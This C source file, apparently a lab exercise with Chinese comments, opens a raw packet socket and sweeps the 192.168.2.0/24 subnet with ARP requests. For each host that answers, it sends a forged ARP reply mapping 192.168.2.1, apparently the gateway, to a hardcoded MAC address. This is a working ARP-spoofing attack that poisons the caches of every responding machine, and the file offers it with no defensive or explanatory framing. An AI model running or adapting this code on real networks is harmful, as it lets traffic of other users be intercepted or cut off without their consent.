#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <net/ethernet.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <netinet/ether.h>
#include <netpacket/packet.h>
#include <sys/ioctl.h>
#include <net/ethernet.h> 

int sockfd = 0;

struct arphdr2
{
    unsigned short int ar_hrd; /* Format of hardware address.  */
    unsigned short int ar_pro; /* Format of protocol address.  */
    unsigned char ar_hln;      /* Length of hardware address.  */
    unsigned char ar_pln;      /* Length of protocol address.  */
    unsigned short int ar_op;  /* ARP opcode (command).  */
#if 1
    /* Ethernet looks like this : This bit is variable sized
       however...  */
    unsigned char __ar_sha[6]; /* Sender hardware address.  */
    unsigned char __ar_sip[4]; /* Sender IP address.  */
    unsigned char __ar_tha[6]; /* Target hardware address.  */
    unsigned char __ar_tip[4]; /* Target IP address.  */
#endif
};

ssize_t my_sendto(int socket, const void *message, size_t length, char *if_name)
{
    //获取接口
    struct ifreq ethreq;
    strncpy(ethreq.ifr_name, if_name, IFNAMSIZ);
    if (-1 == ioctl(socket, SIOCGIFINDEX, &ethreq))
    {
        perror("ioctl");
        close(socket);
        _exit(-1);
    }

    //定义接口结构
    struct sockaddr_ll sll;
    bzero(&sll, sizeof(sll));
    sll.sll_ifindex = ethreq.ifr_ifindex;

    //发送帧数据
    int len = sendto(socket, message, length, 0, (struct sockaddr *)&sll, sizeof(sll));

    return len;
}

void *recv_mac(void *arg)
{
    while (1)
    {
        unsigned char msg[1500] = "";
        int len = recvfrom(sockfd, msg, sizeof(msg), 0, NULL, NULL);
        unsigned short op = ntohs(*(unsigned short *)(msg + 20));
        if (op == 2) // arp应答
        {
            //提取源mac 才是对方的mac地址
            char mac[18] = "";
            sprintf(mac, "%02x:%02x:%02x:%02x:%02x:%02x",
                    msg[6 + 0], msg[6 + 1], msg[6 + 2], msg[6 + 3], msg[6 + 4], msg[6 + 5]);

            //提取源IP
            char ip[16] = "";
            sprintf(ip, "%d.%d.%d.%d", msg[28 + 0], msg[28 + 1], msg[28 + 2], msg[28 + 3]);

            printf("%s--->%s\n", ip, mac);

             // 2、组arp应答报文
            unsigned char buf[128] = "";
            //组mac头部
            unsigned char dst_mac[6] = {msg[6 + 0], msg[6 + 1], msg[6 + 2], msg[6 + 3], msg[6 + 4], msg[6 + 5]};
            //unsigned char dst_mac[6] = {0x00, 0xe0, 0x4c, 0x86, 0x1b, 0x76};
            unsigned char src_mac[6] = {0x04, 0x5e, 0x9a, 0x07, 0x43, 0xd6};
            struct ether_header *eth_hdr = (struct ether_header *)buf;
            memcpy(eth_hdr->ether_dhost, dst_mac, 6);
            memcpy(eth_hdr->ether_shost, src_mac, 6);
            eth_hdr->ether_type = htons(0x0806);

            //组arp头部
            unsigned char src_ip[4] = {192, 168, 2, 1};
            unsigned char dst_ip[4] = {msg[28 + 0],msg[28 + 1],msg[28 + 2],msg[28 + 3]};
            struct arphdr2 *arp_hdr = (struct arphdr2 *)(buf + 14);
            arp_hdr->ar_hrd = htons(1);
            arp_hdr->ar_pro = htons(0x0800);
            arp_hdr->ar_hln = 6;
            arp_hdr->ar_pln = 4;
            arp_hdr->ar_op = htons(2); //应答模式
            memcpy(arp_hdr->__ar_sha, src_mac, 6);
            memcpy(arp_hdr->__ar_sip, src_ip, 4);
            memcpy(arp_hdr->__ar_tha, dst_mac, 6);
            memcpy(arp_hdr->__ar_tip, dst_ip, 4);

            my_sendto(sockfd, buf, 42, "ens33");

        }
    }

    return NULL;
}

int main(int argc, char const *argv[])
{
    
   //创建一个原始套接字
    sockfd = socket(PF_PACKET,SOCK_RAW,htons(ETH_P_ALL));
    if (sockfd < 0)
    {
        perror("socket:");
        return 0;
    }

    pthread_t tid;
    pthread_create(&tid, NULL, recv_mac, NULL);
    pthread_detach(tid);
    for (int i = 1; i < 2550; i++)
    {
        int a = i%254+1;
        unsigned char buf[] = 
        {
            /*-----mac头部-----*/
            0xff, 0xff, 0xff, 0xff, 0xff, 0xff, /*目的mac地址*/
            0x00, 0x50, 0x56, 0x38, 0x40, 0x99, /*源mac地址 ubuntu的mac*/
            0x08, 0x06,                         /*arp协议*/
            /*-----arp报文-----*/
            0, 1,                               /*硬件类型*/
            0x08, 0x00,                         /*协议类型*/
            6, 4,                               /*硬件地址长度，协议地址长度*/
            0, 1,                               /*arp请求*/
            0x00, 0x50, 0x56, 0x38, 0x40, 0x99, /*源mac地址 ubuntu的mac*/
            192, 168, 2, 156,                    /*源IP ubuntu的IP*/
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /*目的mac 全0*/
            192, 168, 2, a                       /*目的IP windows的IP*/
        };
        
        my_sendto(sockfd, buf, 42, "ens33");
        usleep(10 * 1000);
    }


    
    close(sockfd);
    return 0;
}
